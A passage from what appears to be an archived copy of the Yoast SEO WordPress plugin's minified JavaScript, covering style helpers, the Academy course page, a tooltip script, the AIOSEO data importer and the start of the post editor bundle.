width="1792" height="1792" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path fill="'+e+'" d="M1152 896q0 26-19 45l-448 448q-19 19-45 19t-45-19-19-45v-896q0-26 19-45t45-19 45 19l448 448q19 19 19 45z" /></svg>');t.angleRight=c;const n=e=>"data:image/svg+xml;charset=utf8,"+encodeURIComponent('<svg width="1792" height="1792" viewBox="0 0 192 512" xmlns="http://www.w3.org/2000/svg"><path fill="'+e+'" d="M192 127.338v257.324c0 17.818-21.543 26.741-34.142 14.142L29.196 270.142c-7.81-7.81-7.81-20.474 0-28.284l128.662-128.662c12.599-12.6 34.142-3.676 34.142 14.142z"/></svg>');function i(e){return(0,l.getDirectionalStyle)(c($(e)),n($(e)))(e)}function $(e){return e.isActive?_.default.$color_snippet_focus:e.isHovered?_.default.$color_snippet_hover:"transparent"}t.angleLeft=n,t.withCaretStyles=e=>(0,o.default)(e)`
		&::before {
			display: block;
			position: absolute;
			top: 4px;
			${(0,l.getDirectionalStyle)("left","right")}: -25px;
			width: 24px;
			height: 24px;
			background-image: url( ${i} );
			background-size: 25px;
			content: "";
		}
	`},23695:e=>{e.exports=window.yoast.helpers},98487:e=>{e.exports=window.yoast.styledComponents},29769:e=>{e.exports=JSON.parse('{"$palette_white":"#fff","$palette_grey_ultra_light":"#f7f7f7","$palette_grey_light":"#f1f1f1","$palette_grey_medium_light":"#e2e4e7","$palette_grey":"#ddd","$palette_grey_medium":"#ccc","$palette_grey_disabled":"#a0a5aa","$palette_grey_medium_dark":"#888","$palette_grey_text_light":"#767676","$palette_grey_text":"#616161","$palette_grey_dark":"#555","$palette_black":"#000","$palette_purple":"#5d237a","$palette_purple_dark":"#6c2548","$palette_pink":"#d73763","$palette_pink_light":"#e1bee7","$palette_pink_dark":"#a4286a","$palette_blue":"#0066cd","$palette_blue_light":"#a9a9ce","$palette_blue_medium":"#1e8cbe","$palette_blue_link":"#0073aa","$palette_blue_focus":"#5b9dd9","$palette_yoast_focus":"#007fff","$palette_blue_dark":"#084a67","$palette_green":"#77b227","$palette_green_light":"#7ad03a","$palette_green_medium_light":"#64a60a","$palette_green_medium":"#008a00","$palette_green_blue":"#009288","$palette_orange":"#dc5c04","$palette_orange_light":"#ee7c1b","$palette_red":"#dc3232","$palette_red_light":"#f9bdbd","$palette_yellow":"#ffeb3b","$palette_yellow_score":"#f5c819","$palette_button_upsell":"#fec228","$palette_button_upsell_hover":"#f2ae01","$palette_link_text":"#004973","$palette_error_background":"#f9dcdc","$palette_error_text":"#8f1919","$palette_error_emphasis":"#dc3232","$palette_info_background":"#cce5ff","$palette_info_text":"#00468f","$palette_info_emphasis":"#007dff","$palette_success_background":"#e2f2cc","$palette_success_text":"#395315","$palette_success_emphasis":"#6ea029","$palette_warning_background":"#fff3cd","$palette_warning_text":"#674e00","$palette_warning_emphasis":"#ffc201","$color_bad":"#dc3232","$color_ok":"#ee7c1b","$color_good":"#7ad03a","$color_noindex":"#1e8cbe","$color_score_icon":"#888","$color_white":"#fff","$color_black":"#000","$color_green":"#77b227","$color_green_medium":"#008a00","$color_green_blue":"#009288","$color_grey":"#ddd","$color_grey_dark":"#555","$color_purple":"#5d237a","$color_purple_dark":"#6c2548","$color_pink":"#d73763","$color_pink_light":"#e1bee7","$color_pink_dark":"#a4286a","$color_blue":"#0066cd","$color_blue_light":"#a9a9ce","$color_blue_dark":"#084a67","$color_red":"#dc3232","$color_border_light":"#f7f7f7","$color_border_gutenberg":"#e2e4e7","$color_border":"#ccc","$color_input_border":"#ddd","$color_help_text":"#767676","$color_upsell_text":"#767676","$color_background_light":"#f7f7f7","$color_button":"#f7f7f7","$color_button_text":"#555","$color_button_border":"#ccc","$color_button_hover":"#fff","$color_button_border_hover":"#888","$color_button_text_hover":"#000","$color_button_border_active":"#000","$color_button_upsell":"#fec228","$color_button_upsell_hover":"#f2ae01","$color_headings":"#555","$color_marker_inactive":"#555","$color_marker_active":"#fff","$color_marker_disabled":"#a0a5aa","$color_error":"#dc3232","$color_orange":"#dc5c04","$color_orange_hover":"#c35204","$color_grey_hover":"#cecece","$color_pink_hover":"#cc2956","$color_grey_cta":"#ddd","$color_grey_line":"#ddd","$color_grey_quote":"#616161","$color_grey_text":"#616161","$color_grey_text_light":"#767676","$color_snippet_focus":"#1e8cbe","$color_snippet_hover":"#ccc","$color_snippet_active":"#555","$color_blue_link":"#0073aa","$color_blue_focus":"#5b9dd9","$color_blue_focus_shadow":"#1e8cbe","$color_yoast_focus":"#007fff","$color_yoast_focus_outer":"rgba(0,127,255,0.25)","$color_grey_medium_dark":"#888","$color_green_medium_light":"#64a60a","$color_grey_disabled":"#a0a5aa","$color_grey_medium":"#ccc","$color_grey_light":"#f1f1f1","$color_yellow":"#ffeb3b","$color_yellow_score":"#f5c819","$color_error_message":"#f9bdbd","$color_alert_link_text":"#004973","$color_alert_error_text":"#8f1919","$color_alert_error_background":"#f9dcdc","$color_alert_info_text":"#00468f","$color_alert_info_background":"#cce5ff","$color_alert_success_text":"#395315","$color_alert_success_background":"#e2f2cc","$color_alert_warning_text":"#674e00","$color_alert_warning_background":"#fff3cd"}')},28587:e=>{e.exports=JSON.parse('{"mobile":"768px","tablet":"1224px"}')}},t={};function r(o){var l=t[o];if(void 0!==l)return l.exports;var _=t[o]={exports:{}};return e[o](_,_.exports,r),_.exports}var o={};(()=>{var e=o;Object.defineProperty(e,"__esModule",{value:!0}),Object.defineProperty(e,"angleLeft",{enumerable:!0,get:function(){return _.angleLeft}}),Object.defineProperty(e,"angleRight",{enumerable:!0,get:function(){return _.angleRight}}),Object.defineProperty(e,"breakpoints",{enumerable:!0,get:function(){return l.default}}),Object.defineProperty(e,"colors",{enumerable:!0,get:function(){return t.default}}),Object.defineProperty(e,"rgba",{enumerable:!0,get:function(){return _.rgba}}),Object.defineProperty(e,"withCaretStyles",{enumerable:!0,get:function(){return _.withCaretStyles}});var t=a(r(29769)),l=a(r(28587)),_=r(34130);function a(e){return e&&e.__esModule?e:{default:e}}})(),(window.yoast=window.yoast||{}).styleGuide=o})();wordpress-seo/js/dist/academy.js000064400000040266147510273070012716 0ustar00(()=>{"use strict";var e={n:t=>{var s=t&&t.__esModule?()=>t.default:()=>t;return e.d(s,{a:s}),s},d:(t,s)=>{for(var a in s)e.o(s,a)&&!e.o(t,a)&&Object.defineProperty(t,a,{enumerable:!0,get:s[a]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t)};const t=window.React,s=window.wp.components,a=window.wp.data,r=window.wp.domReady;var i=e.n(r);const o=window.wp.element,n=window.yoast.uiLibrary,l=window.lodash,d=window.wp.i18n,c=window.yoast.reduxJsToolkit,u="adminUrl",y=(0,c.createSlice)({name:u,initialState:"",reducers:{setAdminUrl:(e,{payload:t})=>t}}),m=(y.getInitialState,{selectAdminUrl:e=>(0,l.get)(e,u,"")});m.selectAdminLink=(0,c.createSelector)([m.selectAdminUrl,(e,t)=>t],((e,t="")=>{try{return new URL(t,e).href}catch(t){return e}})),y.actions,y.reducer;const p=window.wp.url,g="linkParams",h=(0,c.createSlice)({name:g,initialState:{},reducers:{setLinkParams:(e,{payload:t})=>t}}),w=h.getInitialState,f={selectLinkParam:(e,t,s={})=>(0,l.get)(e,`${g}.${t}`,s),selectLinkParams:e=>(0,l.get)(e,g,{})};f.selectLink=(0,c.createSelector)([f.selectLinkParams,(e,t)=>t,(e,t,s={})=>s],((e,t,s)=>(0,p.addQueryArgs)(t,{...e,...s})));const k=h.actions,_=h.reducer,E=(0,c.createSlice)({name:"notifications",initialState:{},reducers:{addNotification:{reducer:(e,{payload:t})=>{e[t.id]={id:t.id,variant:t.variant,size:t.size,title:t.title,description:t.description}},prepare:({id:e,variant:t="info",size:s="default",title:a,description:r})=>({payload:{id:e||(0,c.nanoid)(),variant:t,size:s,title:a||"",description:r}})},removeNotification:(e,{payload:t})=>(0,l.omit)(e,t)}}),b=(E.getInitialState,E.actions,E.reducer,"pluginUrl"),v=(0,c.createSlice)({name:b,initialState:"",reducers:{setPluginUrl:(e,{payload:t})=>t}}),S=(v.getInitialState,{selectPluginUrl:e=>(0,l.get)(e,b,"")});S.selectImageLink=(0,c.createSelector)([S.selectPluginUrl,(e,t,s="images")=>s,(e,t)=>t],((e,t,s)=>[(0,l.trimEnd)(e,"/"),(0,l.trim)(t,"/"),(0,l.trimStart)(s,"/")].join("/"))),v.actions,v.reducer,window.wp.apiFetch;const L="wistiaEmbedPermission",A=(0,c.createSlice)({name:L,initialState:{value:!1,status:"idle",error:{}},reducers:{setWistiaEmbedPermissionValue:(e,{payload:t})=>{e.value=Boolean(t)}},extraReducers:e=>{e.addCase(`${L}/request`,(e=>{e.status="loading"})),e.addCase(`${L}/success`,((e,{payload:t})=>{e.status="success",e.value=Boolean(t&&t.value)})),e.addCase(`${L}/error`,((e,{payload:t})=>{e.status="error",e.value=Boolean(t&&t.value),e.error={code:(0,l.get)(t,"error.code",500),message:(0,l.get)(t,"error.message","Unknown")}}))}});A.getInitialState,A.actions,A.reducer;const P=t.forwardRef((function(e,s){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},e),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"}))})),O=t.forwardRef((function(e,s){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},e),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14"}))})),x=t.forwardRef((function(e,s){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:s},e),t.createElement("path",{fillRule:"evenodd",d:"M10.293 5.293a1 1 0 011.414 0l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414-1.414L12.586 11H5a1 1 0 110-2h7.586l-2.293-2.293a1 1 0 010-1.414z",clipRule:"evenodd"}))})),I="@yoast/academy",Q=(e,t=[],...s)=>(0,a.useSelect)((t=>{var a,r;return null===(a=(r=t(I))[e])||void 0===a?void 0:a.call(r,...s)}),t),$=(e,t)=>!(!(0,l.isEmpty)(e)&&!t)||Object.values(e).every((e=>!0===e)),M=()=>{const e=Q("selectLinkParams"),s=Q("selectPreference",[],"pluginUrl",""),a=Q("selectPreference",[],"isPremium",""),r=Q("selectPreference",[],"isWooActive",""),i=Q("selectPreference",[],"isLocalActive",""),c=Q("selectUpsellSettingsAsProps"),u=(0,n.useSvgAria)(),y=(0,o.useMemo)((()=>[{id:"ai_for_seo",title:"AI for SEO",description:(0,d.__)("Join the Yoast team to learn how to harness the power of AI to revolutionize your SEO approach. Gain a competitive edge, future-proof your keyword strategies, and soar to the top of search rankings – all designed to empower busy small business owners.","wordpress-seo"),image:`${s}/images/academy/ai_for_seo_icon_my_yoast.png`,startLink:(0,p.addQueryArgs)("https://yoa.st/ai-for-seo-start",e),upsellLink:(0,p.addQueryArgs)("https://yoa.st/ai-for-seo-unlock",e),dependencies:{PREMIUM:a},hasTrial:!0},{id:"seo_for_beginners",title:"SEO for beginners",description:(0,d.__)("In this free course, you'll get quick wins to make your site rank higher in Google, Bing, and Yahoo.","wordpress-seo"),image:`${s}/images/academy/seo_for_beginners.png`,startLink:(0,p.addQueryArgs)("https://yoa.st/academy-seo-beginners-start",e),dependencies:{},hasTrial:!0},{id:"seo_for_wp",title:"Yoast SEO for WordPress (block editor)",description:(0,d.sprintf)(/* translators: %1$s expands to Yoast SEO. */
(0,d.__)("In this course, you'll learn about how to set up and use the %1$s for WordPress plugin so it makes SEO even easier. This course is meant for users of the block editor.","wordpress-seo"),"Yoast SEO"),image:`${s}/images/academy/seo_for_wp.png`,startLink:(0,p.addQueryArgs)("https://yoa.st/academy-seo-wordpress-block-editor-start",e),dependencies:{},hasTrial:!0},{id:"all_around_seo",title:"All-around SEO",description:(0,d.__)("In this course, you'll learn practical SEO skills on every key aspect of SEO, to make your site stand out.","wordpress-seo"),image:`${s}/images/academy/all_around_seo.png`,startLink:(0,p.addQueryArgs)("https://yoa.st/academy-all-around-seo-start",e),upsellLink:(0,p.addQueryArgs)("https://yoa.st/academy-all-around-seo-unlock",e),dependencies:{PREMIUM:a},hasTrial:!0},{id:"wp_for_beginners",title:"WordPress for beginners",description:(0,d.__)("Do you want to set up your own WordPress site? This course will teach you the ins and outs of creating and maintaining a WordPress website!","wordpress-seo"),image:`${s}/images/academy/wp_for_beginners.png`,startLink:(0,p.addQueryArgs)("https://yoa.st/academy-wordpress-beginners-start",e),dependencies:{},hasTrial:!0},{id:"copywriting",title:"SEO copywriting",description:(0,d.__)("In this course, you'll learn how to write awesome copy that is optimized for ranking in search engines.","wordpress-seo"),image:`${s}/images/academy/copywriting.png`,startLink:(0,p.addQueryArgs)("https://yoa.st/academy-seo-copywriting-start",e),upsellLink:(0,p.addQueryArgs)("https://yoa.st/academy-seo-copywriting-unlock",e),dependencies:{PREMIUM:a},hasTrial:!0},{id:"structured_data_for_beginners",title:"Structured data for beginners",description:(0,d.__)("Learn how to make your site stand out from the crowd by adding structured data!","wordpress-seo"),image:`${s}/images/academy/structured_data_for_beginners.png`,startLink:(0,p.addQueryArgs)("https://yoa.st/academy-structured-data-beginners-start",e),dependencies:{},hasTrial:!0},{id:"keyword_research",title:"Keyword research",description:(0,d.__)("Do you know the essential first step of good SEO? It's keyword research. In this training, you'll learn how to research and select the keywords that will guide searchers to your pages.","wordpress-seo"),image:`${s}/images/academy/keyword_research.png`,startLink:(0,p.addQueryArgs)("https://yoa.st/academy-keyword-research-start",e),upsellLink:(0,p.addQueryArgs)("https://yoa.st/academy-keyword-research-unlock",e),dependencies:{PREMIUM:a},hasTrial:!0},{id:"block_editor",title:"Block editor training",description:(0,d.__)("Start creating block-tastic content with the new WordPress block editor! Learn all about the block editor and what you can do with it.","wordpress-seo"),image:`${s}/images/academy/block_editor.png`,startLink:(0,p.addQueryArgs)("https://yoa.st/academy-block-editor-start",e),dependencies:{},hasTrial:!0},{id:"site_structure",title:"Site structure",description:(0,d.__)("A clear site structure benefits your users and is of great importance for SEO. Still, most people seem to forget about this. Get ahead of your competition and learn how to improve your site structure!","wordpress-seo"),image:`${s}/images/academy/site_structure.png`,startLink:(0,p.addQueryArgs)("https://yoa.st/academy-site-structure-start",e),upsellLink:(0,p.addQueryArgs)("https://yoa.st/academy-site-structure-unlock",e),dependencies:{PREMIUM:a},hasTrial:!0},{id:"local",title:"Local SEO",description:(0,d.__)("Do you own a local business? This course will teach you how to make sure your local audience can find you in the search results and on Google Maps!","wordpress-seo"),image:`${s}/images/academy/local.png`,startLink:(0,p.addQueryArgs)("https://yoa.st/academy-local-seo-start",e),upsellLink:(0,p.addQueryArgs)("https://yoa.st/academy-local-seo-unlock",e),dependencies:{LOCAL:i},hasTrial:!0},{id:"ecommerce",title:"Ecommerce SEO",description:(0,d.__)("Learn how to optimize your online shop for your customers and for search engines!","wordpress-seo"),image:`${s}/images/academy/ecommerce.png`,startLink:(0,p.addQueryArgs)("https://yoa.st/academy-ecommerce-seo-start",e),upsellLink:(0,p.addQueryArgs)("https://yoa.st/academy-ecommerce-seo-unlock",e),dependencies:{WOO:r},hasTrial:!0},{id:"understanding_structured_data",title:"Understanding structured data",description:(0,d.__)("Do you want to take a deep dive into structured data? In this course, you'll learn the theory related to structured data in detail.","wordpress-seo"),image:`${s}/images/academy/understanding_structured_data.png`,startLink:(0,p.addQueryArgs)("https://yoa.st/academy-understanding-structured-data-start",e),upsellLink:(0,p.addQueryArgs)("https://yoa.st/academy-understanding-structured-data-unlock",e),dependencies:{PREMIUM:a},hasTrial:!1},{id:"multilingual",title:"International SEO",description:(0,d.__)("Are you selling in countries all over the world? In this course, you’ll learn all about setting up and managing a site that targets people in different languages and locales.","wordpress-seo"),image:`${s}/images/academy/multilingual.png`,startLink:(0,p.addQueryArgs)("https://yoa.st/academy-international-seo-start",e),upsellLink:(0,p.addQueryArgs)("https://yoa.st/academy-international-seo-unlock",e),dependencies:{PREMIUM:a},hasTrial:!0},{id:"crawlability",title:"Technical SEO: Crawlability and indexability",description:(0,d.__)("You have to make it possible for search engines to find your site, so they can display it in the search results. We'll tell you all about how that works in this course!","wordpress-seo"),image:`${s}/images/academy/crawlability.png`,startLink:(0,p.addQueryArgs)("https://yoa.st/academy-technical-seo-crawlability-indexability-start",e),upsellLink:(0,p.addQueryArgs)("https://yoa.st/academy-technical-seo-crawlability-indexability-unlock",e),dependencies:{PREMIUM:a},hasTrial:!0},{id:"hosting_and_server",title:"Technical SEO: Hosting and server configuration",description:(0,d.__)("Choosing the right type of hosting for your site is the basis of a solid Technical SEO strategy. Learn all about it in this course!","wordpress-seo"),image:`${s}/images/academy/hosting_and_server.png`,startLink:(0,p.addQueryArgs)("https://yoa.st/academy-technical-seo-hosting-server-configuration-start",e),upsellLink:(0,p.addQueryArgs)("https://yoa.st/academy-technical-seo-hosting-server-configuration-unlock",e),dependencies:{PREMIUM:a},hasTrial:!1}]),[e]);return(0,t.createElement)("div",{className:"yst-p-4 min-[783px]:yst-p-8 yst-mb-8 xl:yst-mb-0"},(0,t.createElement)(n.Paper,{as:"main"},(0,t.createElement)("header",{className:"yst-p-8 yst-border-b yst-border-slate-200"},(0,t.createElement)("div",{className:"yst-max-w-screen-sm"},(0,t.createElement)(n.Title,null,(0,d.__)("Academy","wordpress-seo")),(0,t.createElement)("p",{className:"yst-text-tiny yst-mt-3"},a&&(0,d.sprintf)(
// translators: %s for Yoast SEO Premium.
(0,d.__)("Learn vital SEO skills that you can apply at once! Let us take you by the hand and give you practical SEO tips to help you outrank your competitors. Maximize your SEO game! Because your %s subscription gives you unlimited access to all courses.","wordpress-seo"),"Yoast SEO Premium"),!a&&(0,t.createElement)(t.Fragment,null,(0,d.sprintf)(
// translators: %s for Yoast SEO.
(0,d.__)("Learn vital SEO skills that you can apply at once! Let us take you by the hand and give you practical SEO tips to help you outrank your competitors. %s comes with five free courses.","wordpress-seo"),"Yoast SEO")," ",(0,t.createElement)(n.Link,{href:(0,p.addQueryArgs)("https://yoa.st/academy-page-upsell/",e),target:"_blank",...c},(0,d.sprintf)(
// translators: %s for Yoast SEO Premium.
(0,d.__)("Maximize your SEO game by purchasing %s, which grants you unlimited access to all courses.","wordpress-seo"),"Yoast SEO Premium")))))),(0,t.createElement)("div",{className:"yst-h-full yst-p-8"},(0,t.createElement)("div",{className:"yst-max-w-6xl yst-grid yst-gap-6 yst-grid-cols-1 sm:yst-grid-cols-2 min-[783px]:yst-grid-cols-1 lg:yst-grid-cols-2 xl:yst-grid-cols-4"},y.map((e=>(0,t.createElement)(n.Card,{key:`card-course-${e.id}`},(0,t.createElement)(n.Card.Header,{className:"yst-h-auto yst-p-0"},(0,t.createElement)("img",{className:"yst-w-full yst-transition yst-duration-200",src:e.image,alt:"",width:500,height:250,loading:"lazy",decoding:"async"}),((e,t)=>!(0,l.isEmpty)(e)&&(t||e.WOO||e.LOCAL))(e.dependencies,a)&&(0,t.createElement)("div",{className:"yst-absolute yst-top-2 yst-right-2 yst-flex yst-gap-1.5"},(0,t.createElement)(n.Badge,{size:"small",variant:"upsell"},(0,d.__)("Premium","wordpress-seo")))),(0,t.createElement)(n.Card.Content,{className:"yst-flex yst-flex-col yst-gap-3"},(0,t.createElement)(n.Title,{as:"h3"},e.title),e.description,!$(e.dependencies,a)&&(0,t.createElement)(n.Link,{href:e.startLink,className:"yst-flex yst-items-center yst-mt-3 yst-no-underline yst-font-medium yst-text-primary-500",target:"_blank"},(0,d.__)("Start free trial lesson","wordpress-seo"),(0,t.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,d.__)("(Opens in a new browser tab)","wordpress-seo")),(0,t.createElement)(x,{className:"yst-h-4 yst-w-4 yst-ml-1 yst-icon-rtl"}))),(0,t.createElement)(n.Card.Footer,null,(0,t.createElement)(t.Fragment,null,!$(e.dependencies,a)&&(0,t.createElement)(n.Button,{as:"a",id:`button-get-course-${e.id}`,className:"yst-gap-2 yst-w-full yst-px-2",variant:"upsell",href:null==e?void 0:e.upsellLink,target:"_blank",rel:"noopener",...c},(0,t.createElement)(P,{className:"yst-w-5 yst-h-5 yst--ml-1 yst-shrink-0",...u}),(0,d.sprintf)(/* translators: %1$s expands to Premium. */
(0,d.__)("Unlock with %1$s","wordpress-seo"),"Premium")),$(e.dependencies,a)&&(0,t.createElement)(n.Button,{as:"a",id:`button-start-course-${e.id}`,className:"yst-gap-2 yst-w-full yst-px-2 yst-leading-5",variant:"primary",href:e.startLink,target:"_blank",rel:"noopener"},(0,d.__)("Start the course","wordpress-seo"),(0,t.createElement)(O,{className:"yst--mr-1 yst-ml-1 yst-h-5 yst-w-5 yst-text-white"})))))))))))},T=()=>({...(0,l.get)(window,"wpseoScriptData.preferences",{})}),U=(0,c.createSlice)({name:"preferences",initialState:T(),reducers:{}}),R={selectPreference:(e,t,s={})=>(0,l.get)(e,`preferences.${t}`,s),selectPreferences:e=>(0,l.get)(e,"preferences",{})};R.selectUpsellSettingsAsProps=(0,c.createSelector)([e=>R.selectPreference(e,"upsellSettings",{}),(e,t="premiumCtbId")=>t],((e,t)=>({"data-action":null==e?void 0:e.actionId,"data-ctb-id":null==e?void 0:e[t]})));const N=U.actions,C=U.reducer;i()((()=>{const e=document.getElementById("yoast-seo-academy");if(!e)return;(({initialState:e={}}={})=>{(0,a.register)((({initialState:e})=>(0,a.createReduxStore)(I,{actions:{...k,...N},selectors:{...f,...R},initialState:(0,l.merge)({},{[g]:w(),preferences:T()},e),reducer:(0,a.combineReducers)({[g]:_,preferences:C})}))({initialState:e}))})({initialState:{[g]:(0,l.get)(window,"wpseoScriptData.linkParams",{})}}),(()=>{const e=document.getElementById("wpcontent"),t=document.getElementById("adminmenuwrap");e&&t&&(e.style.minHeight=`${t.offsetHeight}px`)})();const r=(0,a.select)(I).selectPreference("isRtl",!1);(0,o.render)((0,t.createElement)(n.Root,{context:{isRtl:r}},(0,t.createElement)(s.SlotFillProvider,null,(0,t.createElement)(M,null))),e)}))})();wordpress-seo/js/dist/edit-page.js000064400000001043147510273070013140 0ustar00(()=>{"use strict";var t={n:a=>{var o=a&&a.__esModule?()=>a.default:()=>a;return t.d(o,{a:o}),o},d:(a,o)=>{for(var e in o)t.o(o,e)&&!t.o(a,e)&&Object.defineProperty(a,e,{enumerable:!0,get:o[e]})},o:(t,a)=>Object.prototype.hasOwnProperty.call(t,a)};const a=window.jQuery;var o;(o=t.n(a)())(".yoast-column-header-has-tooltip").each((function(){o(this).closest("th").find("a").addClass("yoast-tooltip yoast-tooltip-alt yoast-tooltip-n yoast-tooltip-multiline").attr("data-label",o(this).data("tooltip-text")).attr("aria-label",o(this).text())}))})();wordpress-seo/js/dist/import.js000064400000013417147510273070012623 0ustar00(()=>{"use strict";var t={n:e=>{var s=e&&e.__esModule?()=>e.default:()=>e;return t.d(s,{a:s}),s},d:(e,s)=>{for(var n in s)t.o(s,n)&&!t.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:s[n]})},o:(t,e)=>Object.prototype.hasOwnProperty.call(t,e)};const e=window.jQuery;var s=t.n(e);const n=window.wp.i18n;class a extends Error{constructor(t){super(t),this.name="ImportValidationError"}}const i=window.lodash;class o extends Error{constructor(t,e,s,n,a){super(t),this.name="RequestError",this.url=e,this.method=s,this.statusCode=n,this.stackTrace=a}}class r extends Error{constructor(t,e){super(t),this.name="ParseError",this.parseString=e}}class d{constructor(t,e=[],s=[]){this.settings=t,(0,i.isObject)(e)?this.preIndexingActions=(0,i.pickBy)(e,i.isFunction):this.preIndexingActions={},(0,i.isObject)(s)?this.postIndexingActions=(0,i.pickBy)(s,i.isFunction):this.postIndexingActions={}}async index(t,e){if(!(0,i.isObject)(t))return 0;let s=0;for(const n of Object.keys(t)){const a=t[n];s=await this.handleEndpoint(n,a,s,e)}return s}async handleEndpoint(t,e,s,n){let a=this.settings.restApi.root+e;for(;!1!==a;){await this.doPreIndexingAction(t);const e=await this.doIndexingRequest(a);await this.doPostIndexingAction(t,e),n(s+=e.objects.length),a=!!e.next_url&&this.settings.restApi.root+e.next_url}return s}async doIndexingRequest(t){const e=await fetch(t,{method:"POST",headers:{"X-WP-Nonce":this.settings.restApi.nonce}}),s=await e.text();let n;try{n=JSON.parse(s)}catch(t){throw new r("Error parsing the response to JSON.",s)}if(!e.ok){const s=n.data?n.data.stackTrace:"";throw"wpseo_error_validation"===(n.code?n.code:"")?new a(n.message):new o(n.message,t,"POST",e.status,s)}return n}async doPreIndexingAction(t){this.preIndexingActions[t]&&await this.preIndexingActions[t](this.settings)}async doPostIndexingAction(t,e){this.postIndexingActions[t]&&await this.postIndexingActions[t](e.objects,this.settings)}}const p="WPSEO_Import_AIOSEO_V4";let c,l,m,h,u,g,w,f,y,x,_,I;function v(t){var e=m,s=f,n=c;"import"===t&&(e=g,s=y,n=h),e.children(".yoast-import-spinner").show(),s.show(),e.closest("div").find(".yoast-import-failure").remove(),n.prop("disabled",!0)}function b(t){v("import")}function D(t){v("cleanup")}function A(t){var e=m,n=f,a=c,i=l;"import"===t&&(e=g,n=y,a=h,i=u),e.children(".yoast-import-spinner").hide(),n.hide(),e.children(".yoast-import-success-mark").show(),e.closest("div").find(".yoast-import-failure").remove(),a.prop("disabled",!1),s()("option:selected",i).remove(),s()("option[value='']",i).prop("selected",!0),i.trigger("change"),i.children("option").length<2&&(i.prop("disabled",!0),e.after(s()("<p></p>").text(window.yoastImportData.assets.no_data_msg)))}function O(){A("import")}function E(){A("cleanup")}function P(t,e){var i,o=m,r=f,d=c,p=window.yoastImportData.assets.cleanup_failure;"import"===e&&(o=g,r=y,d=h,p=window.yoastImportData.assets.import_failure),o.children(".yoast-import-spinner").hide(),r.hide(),d.prop("disabled",!1),i=t instanceof a?window.yoastImportData.assets.validation_failure:(0,n.sprintf)(p,"<strong>"+t+"</strong>");var l=s()("<div>").addClass("yoast-measure yoast-import-failure").html(i);o.after(l)}function j(t){P(t,"import")}function k(t){P(t,"cleanup")}function S(t){u.val()===p&&(t.preventDefault(),new d(window.yoastImportData).index(window.yoastImportData.restApi.importing_endpoints.aioseo,b).then(O).catch(j))}function C(t){l.val()===p&&(t.preventDefault(),new d(window.yoastImportData).index(window.yoastImportData.restApi.cleanup_endpoints.aioseo,D).then(E).catch(k))}function T(t){var e,a,i,o=t.closest("form").find("input[type=submit]");t.on("change",(function(){""!==(e=s()(this).find("option:selected").attr("value"))?(o.prop("disabled",!1),t===u&&(a=(0,n.sprintf)(window.yoastImportData.assets.replacing_texts.select_header,s()(this).find("option:selected").text()),i=e===p?window.yoastImportData.assets.replacing_texts.plugins.aioseo:window.yoastImportData.assets.replacing_texts.plugins.other,a+="<ul style='list-style: disc; padding: 0 15px;'>",i.forEach((function(t){a+="<li>"+t.data_name+"<br/><i>"+t.data_note+"</i></li>"})),a+="</ul>",I.html(a))):o.prop("disabled",!0)}))}s()((function(){c=s()("[name='clean_external']"),c.val(window.yoastImportData.assets.replacing_texts.cleanup_button),l=s()("[name='clean_external_plugin']"),m=s()(c).parents("form:first"),h=s()("[name='import_external']"),u=s()("[name='import_external_plugin']"),g=s()(h).parents("form:first"),g.after(s()("<p></p>").html("<strong>"+window.yoastImportData.assets.note+"</strong>"+window.yoastImportData.assets.cleanup_after_import_msg)),w=s()("<img>").addClass("yoast-import-spinner").attr("src",window.yoastImportData.assets.spinner).css({display:"inline-block","margin-left":"10px","vertical-align":"middle"}).hide(),y=s()("<span>").html(window.yoastImportData.assets.loading_msg_import).css({"margin-left":"5px","vertical-align":"middle"}).hide(),f=s()("<span>").html(window.yoastImportData.assets.loading_msg_cleanup).css({"margin-left":"5px","vertical-align":"middle"}).hide(),x=s()("<span>").addClass("dashicons dashicons-yes-alt yoast-import-success-mark").css({"margin-left":"10px","vertical-align":"middle",color:"green"}).hide(),I=s()(".yoast-import-explanation"),I.html(window.yoastImportData.assets.replacing_texts.import_explanation),_=s()(".yoast-cleanup-explanation"),_.html(window.yoastImportData.assets.replacing_texts.cleanup_explanation),u&&(T(u),u.append("<option value='' disabled='disabled' selected hidden>&mdash; "+window.yoastImportData.assets.select_placeholder+" &mdash;</option>").trigger("change")),l&&(T(l),l.append("<option value='' disabled='disabled' selected hidden>&mdash; "+window.yoastImportData.assets.select_placeholder+" &mdash;</option>").trigger("change")),g&&g.on("submit",S),m&&m.on("submit",C),s()(x).insertAfter([h,c]),s()(y).insertAfter(h),s()(f).insertAfter(c),s()(w).insertAfter([h,c])}))})();wordpress-seo/js/dist/post-edit.js000064400000401433147510273070013220 0ustar00(()=>{var e={2322:e=>{var t,s,n="",r=function(e){e=e||"polite";var t=document.createElement("div");return t.id="a11y-speak-"+e,t.className="a11y-speak-region",t.setAttribute("style","clip: rect(1px, 1px, 1px, 1px); position: absolute; height: 1px; width: 1px; overflow: hidden; word-wrap: normal;"),t.setAttribute("aria-live",e),t.setAttribute("aria-relevant","additions text"),t.setAttribute("aria-atomic","true"),document.querySelector("body").appendChild(t),t};!function(e){if("complete"===document.readyState||"loading"!==document.readyState&&!document.documentElement.doScroll)return 